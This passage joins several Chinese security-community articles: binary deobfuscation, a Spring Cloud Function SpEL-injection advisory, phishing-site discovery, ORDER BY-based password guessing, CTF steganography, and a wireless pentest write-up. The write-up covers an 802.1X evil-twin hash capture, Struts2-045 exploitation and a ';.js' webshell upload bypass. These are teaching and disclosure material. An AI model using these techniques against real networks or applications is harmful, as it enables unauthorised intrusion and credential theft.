flattening)的混淆方式。简而言之，它的原理如下。
1.为每个基本块分配一个数字。
2.混淆器引入了块号变量，指示应执行哪个块。
3.每个块都不会像往常那样通过分支指令将控制权转移给后继者，而是将块号变量更新为其所选的后继者。
4.普通的控制流被循环内的根据块号变量执行的switch语句代替。
该样本一个被控制流平坦化的函数的switch(block)部分的汇编代码如下所示。
在第一行，var_1C即上面提到的块号变量被初始化为某个看起来很随机的数字。紧随其后的是一系列var_1C与其它随机数字的比较(var_1C复制到var_20中，var_20用于之后的比较)。这些比较的目标是原始函数的基本块。基本块在回到刚才显示的代码之前会更新var_1C指示下一步应执行哪个基本块，然后代码将执行比较并选择要执行的相应块。对于只有一个后继者的块，混淆器给var_1C分配一个常量，如下图所示。
对于具有两个可能的后继者(例如if语句)的块，混淆器引入x86 CMOV指令以将var_1C设置为两个可能的值之一，如下图所示。
整个函数看起来如下所示。
在上图中，红色和橙色节点是switch(block)部分的实现。蓝色节点是该函数的原始基本块(可能会进一步混淆)。底部的紫色节点返回到开头的switch(block)部分。
#### 奇怪的栈操作
最后，我们还可以看到混淆器以不同寻常的方式操纵栈指针。它用__alloca_probe为函数参数和局部变量保留栈空间，而普通的编译器会在函数开头用push指令为所有局部变量保留栈空间。
IDA具有内置的启发式方法，可以确定__alloca_probe调用的参数并跟踪这些调用对栈指针的影响。但是混淆器使得IDA无法确定参数，因此IDA无法正确跟踪栈指针。
### 反混淆器代码结构
[HexRaysDeob](https://github.com/RolfRolles/HexRaysDeob
"HexRaysDeob")反混淆器的代码结构如下所示。
AllocaFixer:处理__alloca_probe
CFFlattenInfo:处理控制流平坦化之前的准备工作
main:插件入口
MicrocodeExplorer:显示microcode
PatternDeobfuscate/PatternDeobfuscateUtil:处理基于模式的混淆
Unflattener:处理控制流平坦化
DefUtil/HexRaysUtil/TargetUtil:其它功能
IDA的插件入口一般会有的三个函数是init，term和run，作用分别是初始化，清理和调用插件。init函数中调用了install_optinsn_handler函数和install_optblock_handler函数进行指令级别的优化(PatternDeobfuscate)和块级别的优化(Unflattener)，HexRays会自动调用注册的回调对象。
PatternDeobfuscate和AllocaFixer的代码相对比较好理解，接下来会重点讲解关于处理控制流平坦化的代码。
前面说了IDA反编译器中二进制代码有microcode和ctree两种表示方式，那么使用microcode相关API而不是ctree相关API有什么好处呢？从前面的介绍中我们可以了解到ctree是由microcode产生的，microcode比ctree更“底层”。如果在microcode级别操作可以利用HexRays已有的恢复控制流的算法，另外一些模式在microcode级别能更好被匹配。
### 对抗控制流平坦化
简单来说，控制流平坦化消除了块到块直接的控制流传输。平坦化过程引入了一个块号变量，在函数执行的每一步它决定应该执行的块。函数的控制流结构被转换为块号变量上的一个switch，它最终引导执行到正确的块。每个块必须更新块号变量，以指示在当前块号之后应该执行的块。
对抗控制流平坦化的过程在概念上很简单。简单地说，我们的任务是重建块到块直接的控制流传输，在此过程中消除switch(block)机制。在下面的小节中，我们将以图片的方式展示该过程。只需要三个步骤就可以消除控制流平坦化。一旦重新构建了原始的控制流传输，HexRays现有的控制流重组机制将完成剩下的工作。
#### 确定平坦块编号到mblock_t的映射
我们的首要任务是确定哪个平坦块编号对应于哪个mblock_t。下图所示是一个被控制流平坦化的函数的switch(block)部分的microcode表示。
HexRays当前正在使用块号变量ST14_4.4。如果等于0xCBAD6A23，则jz指令将控制流转移到@6块。类似的，0x25F52EB5对应于@9块，0x31B8F0BC对应于@10块。
#### 确定每个平坦块的后继者
接下来对于每个平坦块，我们需要确定控制流可能转移到的平坦块编号。如果原始控制流是无条件的，则它们可能具有一个后继者；如果其原始控制流是有条件的，则可能具有两个后继者。
@9块中的microcode有一个后继者(第9.3行已被截断，因为它很长并且其细节不重要)。我们可以在9.4行上看到，该块在执行goto返回到switch(block)之前将块号变量更新为0xCBAD6A23，switch(block)会将控制流转移到@6块。
@6块中的microcode有两个后继者。在第8.1行执行goto返回到switch(block)之前，第8.0行用eax的值更新块号变量。如果第6.4行的jz为true，eax值为0x31B8F0BC；如果第6.4行的jz为false，eax值为0x25F52EB5。switch(block)会将控制流转移到@10块或@9块。
#### 直接将控制流从源块转移到目标块
最后我们可以修改microcode中的控制流指令以直接指向其后继，而不是通过switch(block)。如果对所有平坦化的块执行此操作，则switch(block)将不再可用，我们可以将其删除，仅保留函数原始的未平坦化的控制流。
前面我们确定@9块最终将控制流转移到@6块。@9块结尾用goto声明返回到位于@2块的switch(block)。我们只需将现有goto语句的目标修改为指向@6块而不是@2块，如下图所示(同时也删除了对块号变量的分配，因为不再需要)。
有两个后继者的块的情况稍微复杂一些，但是基本思想是相同的：将现有的控制流直接指向目标块而不是switch(block)。
为了解决这个问题，我们将：
1.将@8块的指令复制到@7块的末尾。
2.更改@7块(刚从@8块复制过来)的goto指令，使其指向@9块。
3.更改@8块的goto指令，使其指向@10块。
我们还可以清除8.0行对块号变量的更新以及6.1行和7.0行中对eax的赋值。
下一篇文章将讨论反混淆器的工程实现。 | 社区文章 |
**作者：VLab扫地僧@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/MiKWnGuyXTTLQVKjq2E_Gw>**
## **漏洞概述**
Spring Cloud Function 是基于Spring Boot
的函数计算框架（FaaS），该项目提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像 Amazon AWS Lambda 这样的
FaaS（函数即服务，function as a
service）平台。它抽象出所有传输细节和基础架构，允许开发人员保留所有熟悉的工具和流程，并专注于业务逻辑。
在版本3.0.0到当前最新版本3.2.2(commit dc5128b)，默认配置下，都存在Spring Cloud Function
SpEL表达式注入漏洞。
## **漏洞复现**
在IDEA中选择新建项目，然后选择`Spring Initializr`，输入随机项目名称，然后选择java版本和jdk版本后点击下一步。
选择`Spring Web`和`Function`作为依赖项，点击完成。
漏洞环境就搭建完成。因当前官方还未发布新版本，所以最新版本3.2.2也是存在漏洞的，若在官方出新版本后想要复现此漏洞，那么需要修改pom中`spring-cloud-function-web`的版本为3.2.2，如下图所示：
确认项目中的`spring-cloud-function-web`是存在漏洞版本后，就可以直接启动项目了，无需进行任何修改。
然后对本地8080端口发送payload即可。
## **漏洞分析**
先看git提交记录，<https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>
，在提交描述中，明确指出修复了`RoutingFunction` SpEL代码注入漏洞，并且可以看到目前只更新了两个文件，其中一个文件仅为单元测试。
在测试用例中也清楚写明了漏洞位置以及相关测试Payload。
通过测试用例可知，在给`Spring Cloud
Function`的web服务发送包的时候，加一个相关的Header信息，然后附上SpEL表达式即可执行命令。
在文件`org.springframework.cloud.function.context.config.RoutingFunction`中，请求进入到`apply`方法，接着调用了`route`方法，然后通过判断特定的消息头信息是否为空，如果不为空则调用`functionFromExpression`方法。
因调用到了SpEL对`routingExpression`进行解析，从而导致了SpEL表达式注入。
整个逻辑中由于完全信任从最开始传入的header信息，并且在解析SpEL表达式时候的`evalContext`使用的是功能更强同时安全隐患较大的`StandardEcalutionContext`
在官方最新的修补文件中，可以看到新增了`headerEvalContext`对象，该对象所对应的是使用了仅支持最基本功能的`SimpleEvaluationContext`。
且在调用`functionFromExpression`方法的时候新增了一个`isViaHead`布尔类型的参数，用来判断该值是否是取自消息的`header`中，如果是则使用`headerEvalContext`对象来解析SpEL表达式。
## **修复建议**
建议您在升级前做好数据备份工作，避免出现意外。目前SpringCloud
Function官方已针对此漏洞进行修复，但还没有发布正式版本，可拉取最新修复代码重新编译打包进行临时修补。
官方已发布修复补丁参考地址：<https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>
* * * | 社区文章 |
**▌如何又快又准的收集仿冒网站资产**
仿冒网站查找是一个非常普遍的甲方需求，每一个仿冒网站进行的违法活动都将对企业造成不可估量的负面影响。经过分析，仿冒站点并非一成不变，大多数站点经常更换所属域名、IP、甚至网站内容，从而导致企业对于仿冒站点的监控、查找变得极为困难。现实情况是，企业哪怕投入众多人力物力，仿冒网站仍然层出不穷，这是一场持久战，吗？
以前可能是，但 FofaHub
工作流的出现，让我们拥有了轻松查找仿冒网站的可能。我们可以通过工作流，自动化地进行从一到多的网站拓线，从而更有效地进行仿冒站点的管理与防治。
一个典型钓鱼网站发现全生命周期是这样的：
以网站 <https://www.xxxx.com/> 为例，该站点是一个仿冒某银行理财产品的网站。
按照传统的仿冒网站拓线方法，我们一般会这么做：
将该站点 URL 输入 FOFA 搜索，可以获得两条结果，其中第一条为我们需要的有效数据。
点击第一条链接右上角的网站指纹（FID），可根据 FID 进行搜索，通过 FID 可以拓线出一千多条新的 URL 。
测绘数据收集到的结果与当前可能存在时间差，为了获取更准确的数据，我们需要逐个手工点开搜索结果进行确认，也可以写一个脚本进行筛选。将有用的数据截图并留存为存活证据。
**仿冒站点工作流程导图**
仿冒站点工作流程适用场景：
1 对仿冒站点进行拓线
2 对仿冒站点状态进行实时监管
此方法可以尽可能帮助我们发现更多的钓鱼网站。
在 12 月份，我们通过这个方法持续的收集与检测，我们共发现三千多条钓鱼网站：
其中 51% 为金融行业仿冒网站，另 37% 为政府机构相关仿冒站点，剩余分布在粮油烟酒与电商行业。
其中金融行业仿冒目标最为丰富，取其中五个机构进行统计，可以看到仿冒站点拓线结果在几十至几百个不等。
结果看起来也许好像还不错？答案是 NO 。问题的关键点在于：流程复杂，费时费力，存在遗漏。
如果是人工完成这样一个流程，短则五个小时，长则一天，且随着精力下降可能会存在遗漏现象。为了充分发挥“懒惰”这个第一生产力，将效率最大化，复杂流程自动化执行是最好且必然的选择，我们要在
FofaHub 中实现整个流程自动化！
可能有白帽师傅有疑惑，为什么不写脚本执行？
用脚本来实现这样的工作是一个不错的选择，但未必是一个最好的选择，我们来做一个简单对比：
Hub工作流 手工执行 脚本执行
功能是否完整 √ × √
是否方便部署 √ × ×
是否免费 √ √ √
是否省时省力 √ × √
流程修改是否灵活 √ √ ×
是否方便开发 √ × ×
是否方便二次开发 √ × ×
是否便于分享 √ × ×
**▌FofaHub 自动化拓线工作流展示**
简介：通过输入钓鱼列表进行自动资产拓线。
仿冒站点拓线工作流基于测绘数据，通过已知仿冒站点，对未知数据进行拓线、检测、排查。支持对于已存储仿冒站点的管理、仿冒站点拓线、以及自定义规则的筛查处理。通过一键上传输入内容并执行，可自动化输出十倍、甚至百倍的结果。
输入数据：URL 列表，可以为 .txt/.json/.csv 结尾的文本文件。
输出数据：拓线出的仿冒网站链接，可能会与输入内容存在重复。
使用流程：
1. 在上传文件的位置将已存在的 URL 列表进行上传。
2. 执行并等待流程结束。
3. 执行结束后下载右侧最上方的打包文件，解压后可看到拓线结果，包含最终 JSON，Excel 表格，以及 Excel 表格中对应的截图。
**整个流程的执行动画：**[演示视频](【仿冒站点的自动化拓线最佳实践】
https://www.bilibili.com/video/BV1PM411F76i/?share_source=copy_web&vd_source=506e665a39692c586925be79f3cf3857
"演示视频")
以单个视频为例，该次执行输入为 33 条仿冒网站，通过自动化流程单次可拓线出 834 条有效数据。
4. 根据输入的内容不同，输出的数量会存在差异。通常输出数量级在几十至几百条不等
5. 输出结果为 JSON 格式的数据，按行为单位进行分割
1. 同时，输出结果可以格式化为一个完整的 Excel 。
在整个流程中还有一个待解决的问题：如何管理数据
工作流执行时会遇到多次存储的数据需要合并存储、实时更新等问题。
每个输出的 JSON 可读性不强，虽然可以进行 Excel 统计输出，但使用起来仍然不方便。
为此，我们研发了工作流的另一个衍生功能 —— 数据仓库。
数据仓库
数据仓库可以将工作流的运行结果进行存储。
工作流运行结果通过 Store Data in Repository
块进行输出，可以将当前工作流中的数据以表格的形式在仓库中进行展示。需要指定主键（primary key），当主键一致时，新数据将会对旧数据进行覆盖。
数据仓库中的内容会根据当前输出的结果进行排版、显示。以仿冒站点拓线场景为例，输出内容为仿冒站点的结果，以行为单位进行 JSON 存储，以某一个存储的
JSON 为例。
{
"screenshot_url": "<https://xxx/224.png>",
"phishing_name": "XXXX委员会",
"belongs_to": "XXXX委员会",
"phishing_type": "政府机构",
"screenshot_filepath": "/tmp/224.png",
"title": "XXXX委员会",
"url": "<http://xxx.xx.xxx.224>",
"uri": "/",
"root_domain": "/",
"ssl": "否",
"wildcard": "否"
}
展示数据中会将上面的 JSON 进行识别与处理，以行为单位进行展示，上面的 JSON 结果对应到表格中，就是单独的一行结果。
当有多条结果汇集在数据仓库中，就变成了视频中所展示的样子。
同时，在数据变多后，可以通过筛选、点击等方式将需要的数据展示出来。
**▌Reference**
网络空间测绘技术场景之杀猪盘拓线
Feature 引擎正式上线！“拓线”功能开放！
**▌End**
欢迎各位白帽师傅们加入我们的社区大家庭，一起交流技术、生活趣事、奇闻八卦，结交无数白帽好友。
也欢迎投稿到 FOFA，审核通过后可加 5000-10000 社区积分哦，我们在积分商城准备了好礼，快来加入微信群体验吧~~~ | 社区文章 |
# 基于排序的SQL猜解问题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 问题的发现
最近在对公司后台代码安全审计的过程中，发现了一种有意思的漏洞类型，一种基于排序的SQL猜解攻击问题，我们且抽一段片段代码来看一下
<select id="queryUsers" resultType="com.test.open.mis.dao.Users">
select u.user_id, u.username, u.email, u.mobile, u.status,u.password_status from crm_user
<where>
<if test="username != null and username.trim() != ''">
and u.`username` like concat('%',#{username},'%')
</if>
<if test="userId != null and userId != ''">
and u.`user_id` != #{userId}
</if>
</where>
<choose>
<when test="sidx != null and sidx.trim() != ''">
order by u.${sidx} ${order}
</when>
<otherwise>
order by u.user_id desc
</otherwise>
</choose>
<if test="offset != null and limit != null">
limit #{offset}, #{limit}``
</if>
</select>
如果直接观测这段代码，似乎有SQL注入的问题，在Spring的，SPEL表达式 #
相当于占位符，这有效的防止SQL注入的发生，所以一般对于mapper的审计，我们就观测是否有使用 $
的地方，在根据对应的id去追溯使用到它的代码，查看是否有SQL注入
`[@Pattern](https://github.com/Pattern "@Pattern")(regexp =
"^(?i)DESC|(?i)ASC$",name="排序",message = "order非法")`
继续追踪代码，于是发现程序对 sidx 和 order 做了安全校验，这似乎没有什么问题了，
于是这一处就通过了SDL团队的安全测试。可是再继续追溯起来我发现这段代码依然存在安全问题，因为它虽然防止了SQL注入攻击，但是它没有对排序字段做限制，这就存在了一个问题
当我企图使用password进行排序的时候，服务器成功返回了数据，那么这意味着我能够使用order by进行排序攻击，举个例子，我们查询一张常规的用户表
mysql> select * from crm_user;
+-----+----------+--------------+
| uid | username | password |
+-----+----------+--------------+
| 1 | 111 | 111 |
| 2 | enoch | apple |
| 3 | sam | boomsakalaka |
| 4 | belln | zipzip |
| 5 | mosuan | 123456 |
| 6 | xsseng | 123456 |
+-----+----------+--------------+
6 rows in set (0.00 sec)
我们根据password对数据进行升序排序，就会发现数据由密码的首字符1-9a-z如此升序排序
mysql> select * from crm_user order by password asc;
+-----+----------+--------------+
| uid | username | password |
+-----+----------+--------------+
| 1 | 111 | 111 |
| 5 | mosuan | 123456 |
| 6 | xsseng | 123456 |
| 2 | enoch | apple |
| 3 | sam | boomsakalaka |
| 4 | belln | zipzip |
+-----+----------+--------------+
rows in set (0.00 sec)
当然即便这样也可以
mysql> select uid from crm_user order by password asc;
+-----+
| uid |
+-----+
| 1 |
| 5 |
| 6 |
| 2 |
| 3 |
| 4 |
+-----+
rows in set (0.00 sec)
这就有了我们的上一处漏洞的场景，即便没有查询出password，但是对用户表查询过程中可以由用户自定义排序造成了安全隐患，排列出三种攻击手法
### 1.基于明文储存情况下的密码猜解攻击：
假设belln的密码是zipzip，我们可以通过设置一个密码为yzzzzzzz的用户猜解出belln的密码以z打头，再通过如此反复猜解出后面的密码
mysql> select * from crm_user order by password asc;
+-----+----------+--------------+
| uid | username | password |
+-----+----------+--------------+
| 1 | 111 | 111 |
| 5 | mosuan | 123456 |
| 6 | xsseng | 123456 |
| 2 | enoch | apple |
| 3 | sam | boomsakalaka |
| 7 | attack0 | yzzzzzzzzz |
| 8 | attack1 | zhzzzzzzzz |
| 4 | belln | zipzip |
| 9 | attack2 | zizzzzzzzz |
+-----+----------+--------------+
rows in set (0.00 sec)
我们通过attack0用户猜解出它的密码为z打头；又通过attack1、attack2猜解出其密码前两位为zi；如此反复我们可以得到后台每一位用户的密码，这只需要你写一个脚本，并且每次更改以后查询/admin/user/list的数据进行比对，你就可以猜解出所有用户的口令
### 2.弱口令造成的安全问题
这个问题原理就比较简单，如果用户xsseng通过这种手法一定可以了解到mosuan的密码可能与他相同，因为他们的正反排序都粘合在一起，如下表：
mysql> select uid,username,md5(password) from crm_user order by password asc;
+-----+----------+----------------------------------+
| uid | username | md5(password) |
+-----+----------+----------------------------------+
| 1 | 111 | 698d51a19d8a121ce581499d7b701668 |
| 5 | mosuan | e10adc3949ba59abbe56e057f20f883e |
| 6 | xsseng | e10adc3949ba59abbe56e057f20f883e |
| 2 | enoch | 1f3870be274f6c49b3e31a0c6728957f |
| 3 | sam | 8f1e77c1e064d9b3e20ada1e5ee85175 |
| 7 | attack0 | 54a6d46b0356cec2a7190898ff609af6 |
| 8 | attack1 | fa891568c546c8beec0d7aceeafe3133 |
| 4 | belln | adc472b32512cf2f1b89641b7933af52 |
| 9 | attack2 | 3c9c1f77627d03b225bb67b538cbc352 |
+-----+----------+----------------------------------+
rows in set (0.00 sec)
这种攻击适用于密码hash后储存在数据库中，中大型互联网公司后台成员人数比较多，这种攻击手法可以在不被前台锁定的情况下对用户账户进行暴力破解。当然也可以对hash值进行猜解，只要后端直接接受加密之后的新密码，这种情况也比较常见，因为这么做可以防止劫持并且给后端减轻工作量，但是如果后端接受的是明文，这种猜解将不复存在
### 3.大样本安全问题
在思考过如上两种问题后，我将目标放到了前台用户表中，这可是几百上千万的样本数据。结合以上我们会发现如果存在该漏洞，并且样本空间足够大，
即便后台管理员只能查询到前台的用户名，但是利用该漏洞它可以大规模的对前台弱口令用户批量盗号、猜解前台用户支付密码、猜解前台用户手机号，只要这些信息都储存在一张表中并且没有对排序字段进行安全限制
## 问题的严峻性
在我发现问题后，我搜索发现目前相关资料较少，一个是这种问题大多数存在于后台，一个是问题的危害有待挖掘，所以我简单的整理了一下分享给大家。为此我还搜寻了github的代码，以$_GET[‘sort’]为例，第一页就是一段可能存在问题的代码，我十分确信的是这个漏洞和我测试中的漏洞一摸一样，是一个后台用户排序的安全问题，当然还有更多的关键字包括
sort、sidx、order、field等等
## 问题的防御
在开发过程中，后台对排序的需求比较大，开发人员的安全意识薄弱，就会造成这种安全问题。缺乏经验、精力的安全团队在这方面也相对薄弱，可能很多后台还会存在相似的问题。这就要求安全测试人员在安全测试中注意order
by可能带来的问题，以及对数据安全的治理。 | 社区文章 |
# 实验简介
音频、视频等多媒体也是我们生活经常看到的文件格式。我们上网听音乐，看视频，都离不开多媒体，一方面多媒体文件一般比单独的图片文件大，这是否也意味着能存储更多的信息，也可以隐藏更多的信息呢？
# 实验内容
实验内容主要针对音频文件以及视频文件为载体的隐写分类
* 一、音频
* 众所周知的摩尔斯电码
* 利用MP3stego进行的数据隐写
* 频谱图
* 二、视频
* 通过分离视频文件
# 实验环境
* 操作机：Windows XP
* 实验工具：
* Adobe Auditon之后暂且简称AU
* mp3stego
* foremost for windows
**下面进行实验 音频隐写**
# 第一部分 音频隐写
## 众所周知的摩尔斯电码
### 背景知识
摩尔斯电码（又译为摩斯密码，Morse
code）是一种时通时断的信号代码，通过不同的排列顺序来表达不同的英文字母、数字和标点符号。在过去它以电报的形式来发送消息，如今当听到这样的电报你还能解出的他它的明文吗？
**摩尔斯电码对照表**
### 实验
> * 实验：
>
- 在实验机中找到隐写术目录，打多媒体隐写，进一步找到文件夹音频隐写的目录下找到莫尔斯电码.mp3 文件
- 我们可以先双击点开，尝试听一下内容，我们会听到在影视中常常听见的电报的发文声
- 由于，单靠听我们很难直接辨别出长短，毕竟我们不是专业的，我们可以尝试用Adobe Auditon打开文件
- 短代表点，长代表横，对照电码表，翻译出flag
- 最后的flag是 xianzhi.aliyun.com
**当我们确认是摩尔斯电报之后，我先用Adobe Auditon打开目标文件，并观察波形**
**以长的代表代表横线，短的代表点，大的间隔是空格，抄写下摩尔斯电码**
对照上图，将摩尔斯电码抄写下来是：
-..- .. .- -. --.. .... .. .-.-.- .- .-.. .. -.-- ..- -. .-.-.- -.-. --- --
**按照上文中的摩尔斯电码对照表翻译**
最后翻译出来的结果是 xianzhi.aliyun.com
当然，我们也可以利用一些！[在线的工具](http://rumkin.com/tools/cipher/morse.php)翻译摩尔斯电码，也可以利用JPK这样的工具进行翻译。
如下图的操作：
### 思考与实践
1. 利用lakey这个软件给制作一个自己ID的摩尔斯电文吧。
## 利用MP3stego进行的数据隐写
### MP3stego介绍
MP3stego是著名的音频数据隐写工具，支持常见的压缩音频文件格式如mp3的数据嵌入，它采用的是一种特殊的量化方法，并且将数据隐藏在MP3文件的奇偶校验块中。
**使用方法**
用MP3Stego进行加密解密：
加密：encode -E 加密文本 -P 密码 wav文件 mp3文件
解密：decode -X -P 密码 mp3文件
### 实验
> * 实验：
>
小明想和小红告白，在一个首歌中藏了一个txt文件，可是小红却不知道怎么找到mp3文件中的隐藏信息，你能帮帮她吗？ hit： password： love
- 在实验机中找到隐写术目录，打多媒体隐写，进一步找到文件夹音频隐写的目录下找到love.mp3 文件
- 我们可以先双击点开，尝试听一下内容，感觉是一个很正常的音乐
- 因为有个提示，这里我们用到了密码加密，我们可以猜测是否是用mp3stego进行的隐写呢？
- 在工具文件中找到mp3stego，将目标文件拷贝到工具的目录下
- 尝试提取隐藏信息，最后的flag是flag{I_love_you}
**首先先将目标文件复制到MP3stego这个工具的目录下**
**在CMD下使用Decode.exe程序进行提取**
最后打开目录下的love.mp3.txt文件就能看到隐写内容了
### 思考与实践
1. 最后小明表白成功了，你是否也可以尝试去做一个MP3隐写呢
## 频谱图的音频隐写
### 背景知识
频谱是频率谱密度的简称，是频率的分布曲线。复杂振荡分解为振幅不同和频率不同的谐振荡，这些谐振荡的幅值按频率排列的图形叫做频谱。
在CTF中，我们可以单独只对一个声道中，隐写进信息
### 实验
> * 实验：
>
- 在实验机中找到隐写术目录，打多媒体隐写，进一步找到文件夹音频隐写的目录下找到这有点刺耳.wav的文件
- 我们可以先双击点开，尝试听一下内容，感觉是一个很正常的音乐
- 因为这次是针对频谱的，我们直接用Adobe Aud ton打开目标文件
- 调整到频谱视图，调整大小，直到能清晰的看到隐写内容
- 尝试提取隐藏信息，最后的flag是flag{CTF_i5_rea1ly_funny!}
**直接进入正题吧**
使用AU打开目标文件，
调整到频谱图，并调整频谱图大小，直到能看清flag
有必要只得一提的是，我们会发现只有一个音轨有隐写信息，那是因为我只对一个通道隐写进了信息，一般人也不会去分析这个wav文件的频谱吧。
### 思考与实践
如何做一个音频隐写？
## 音频隐写小结
音频文件的隐写，现如今除了通过频谱以外，还有一种是在时域中进行的信息隐写，在PCTF中，或者汪神的OJ中有几个挺经典例子，大家可以尝试去做看看。
另一方面，音频还有高级随机化技术的LSB嵌入技术，但是这还是不是很成熟。
## 第二部分 视频隐写
## CSAW CTF 2016 Quals: Watchword为例
目前在CTF赛事中较为常出现的视频隐写，一般都是将一场带有隐写信息的图片，嵌入视频中，我们所需要做的就是将这个图片从视频分离出来，然后在分析我们分离出来的文件是什么，之后的操作可能会涉及到密码编码，图片隐写等知识点。
另一方面，我们分离文件，如果单独对视频来说ffmpeg是一个很好的工具，这里我使用的是foremost
，一款linux下的命令行工具，当然我们也可以使用binwalk或者dd等工具，正如我们图片隐写中教大家分离图片所用的方法一样。
区别是，ffmpeg将视频分解成一张一张的图片，foremost是一个基于文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。
## 实验环境
* 操作机：linux
* 实验工具：
* foremost
* stegohide
### 实验
> * 实验：
>
- 在实验机中找到隐写术目录，打多媒体隐写，进一步找到文件夹视频隐写的目录下找到powpow.mp4的文件
- 我们可以先双击点开，观看下这个视频文件
- 分离图片，得到一张图片，对图片分析，由提示可知是steghide的图片隐写
- 之后的操作我们就不复述了, 看一下操作。
- flag{We are fsociety, we are finally free, we are finally awake!}
**首先用foremost分离图片**
foremost powpow.mp4
**在output目录下找到分离出来的图片**
使用命令 `steghide extract -sf thing.jpg -p password`提取图片隐写内容内容
**对提取出来的隐写内容进行解码**
cat base64.txt
python3
>>> import base64
>>> base64.b85decode(b'W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE')
b'flag{We are fsociety, we are finally free, we are finally awake!}'
最终的flag是
**完整操作命令flag{We are fsociety, we are finally free, we are finally awake!}
foremost powpow.mp4
stepic -i output/png/00001069.png -d > thing
steghide extract -sf thing.jpg -p password
cat base64.txt
python3
>>> import base64
>>> base64.b85decode(b'W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE')
b'flag{We are fsociety, we are finally free, we are finally awake!}'
### 小结
一般的MISC题目都不是简简单单的一个隐写就能解决的，正常都包含了密码，编码，隐写甚至更多的计算机网络知识。
到这里，隐写的内容基本结束了，希望大家能学到东西，也不要拘束于我写的内容，毕竟这是一个天高任鸟飞的领域，并不是所有的内容我都能包含进来的。 | 社区文章 |
# 【技术分享】通向内网的另一条路：记一次无线渗透测试实战
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：PegasusTeam && 天巡实验室**
某个深夜，洗漱完毕正要入睡时，邮件提醒“滴”的一声。深夜邮件到，一般意味着事情比较紧急。打开邮件，明天需要去客户那边做一次黑盒的无线渗透测试。
**1.信息收集**
早上10点抵达邮件中给的地址。跟客户碰了下面，听取了他们的需求及要看到的结果。找了一个休息室，打开我那新买的闪闪发黑的Thinkpad x1 准备干活了。
观察了下附近的热点，有两个特殊的：一个是带企业英文前缀的802.1X认证热点，另一个是同样前缀的开放式Guest网络。根据经验来看，802.1X认证为企业内部人员使用的，而Guest网络提供给访客使用。先暂时不对这两热点下手，寻找下是否存在能通关捷径——员工私自建立的热点。
这类员工为了方便手机上网私接在内网热点，为了便于共享给周围其他同事用，往往都没有采用过于复杂的密码，同时还存在被同事分享密码的风险。
**2.私建热点渗透**
开着修改版的WiFite扫描整栋楼，收集所有的无线热点信息，并且回传到云端；与此同时手机打开WiFi万能钥匙APP，检测是否存在有被分享密码的热点。
在低楼层一直没发现有钥匙标识，有些办公室不好太大直接抱着电脑进去。功夫不负爬楼人，终于在顶楼5楼的某个办公室门口发现了可使用共享秘钥连入的热点。连上后，直接直奔路由器后台，默认admin密码直接登录。
很遗憾，是个4G路由器。虽然能对网络内的用户进行中间人攻击获取信息，不过不到万不得已一般不这么干，因为这种方式拿到的成果一般不会被客户所认可。
**3.802.1x渗透**
逛了半天回到休息室歇歇脚的同时，做下针对802.1X认证的钓鱼攻击吧。
利用hostapd建立同名802.1X钓鱼热点，同时用aireplay-ng发了些deauth包，这样周围连接过此热点的人都会尝试连接我的热点了。不一会便抓到了数条hash。安全意识好的企业一般会对员工密码有强度要求，密码规则复杂、较长的密码。如果是这样的密码，我们就很难用字典碰撞出密码了。但是这里运气很好，客户这边并没有实施较高的密码强度策略，使用JTR自带的字典就跑出来了。定睛一看，原来用户名与密码相同呀。
利用这组账号连接802.1X网络，成功进入了办公网络。
再仔细观察了下这组数字账号，带着怀疑试了试将数字加一进行登录测试，也成功了。好吧，默认密码跟用户名相同，同时用户名为数字编号可遍历。
**4.Guest网渗透**
通过802.1x热点已经能进入办公网了，算是已经完成任务了。不过现在时间还早，于是我继续对Guest网络进行渗透测试。连上Guest网络，自动弹出Portal认证页面。
Portal认证的网络一般会存在以下问题：
1\. ACL配置不严格，未授权访问内网资源。
2\. Portal存在致命漏洞，导致Portal认证服务器被黑。
3\. Portal登录验证存在漏洞，可以穷举账户密码。知识点:CMCC扫号
此次办公网、管理网被渗透，就是因为Portal本身存在存在致命的漏洞，导致可以通过Guest网段跨入核心网络。
刚接入网络时，发现所有的扫描被重定向至网关机器，说明有ACL，未授权访问内网资源这条路行不通。接着准备穷举账户，再根据已知的账户来穷举密码。很多Portal都存在如下问题：
用户不存在返回页面
用户存在，密码不正确返回页面
但是在这个Portal，无论输入正确或者不正确的用户名都返回”用户或密码错误”(用户名是员工名字全拼，员工工牌挂身上，相信正确的用户名难不倒大家)，也就意味着我们无法穷举用户。此时我的思路是根据用户名规则生成常见的用户名，密码使用弱口令如“123456、1q2w3e、1qaz2wsx”等密码进行穷举。
在观察数据包时，突然发现登陆页面的后缀是.action，立马想到会不会存在Struts2漏洞呢？毕竟不是大型的互联网公司，无专业的安全人员，在内网中系统存在古老的漏洞也不奇怪(比如2014年在某单位做渗透测试，用08067打下了一批机器)。
操起基友给我struts的神器，输入网址，点击”验证”按钮，从古到今的所有struts2漏洞的一个一个在后台进行验证，当我看到输出栏输出”Struts-045漏洞存在”时，我在心理给自己鼓了掌，成了，root到手。
其中在这里发现一点小插曲，我当时要上传一个”jspspy”的shell，存在的问题是会如果上传的后缀是.jsp的文件，就会重定向login.action的页面，不管是静态文件目录还是脚本文件目录都是一样会重定向，由于对Java不熟悉，我给我大哥”Ninty”打了一个电话，大哥说上传图片目录试试或者过滤器规则写的不严谨，可以bypass。
挂完电话，按照大哥给我的思路，先上传jsp文件，之后后缀添加;.js（使用”;”来bypass的过滤器）,
很好可以解析，看到了熟悉的”jspspy”页面。顺手把bypass截图发回给了Ninty大哥，毕竟这至高无上的荣誉是大哥给我的。根据国家法律规定传播黑客工具，导致网站被攻击，需要判刑。嗯，那么也就是说“我再多用几次jspspy，那我大哥离进去就不远了”。
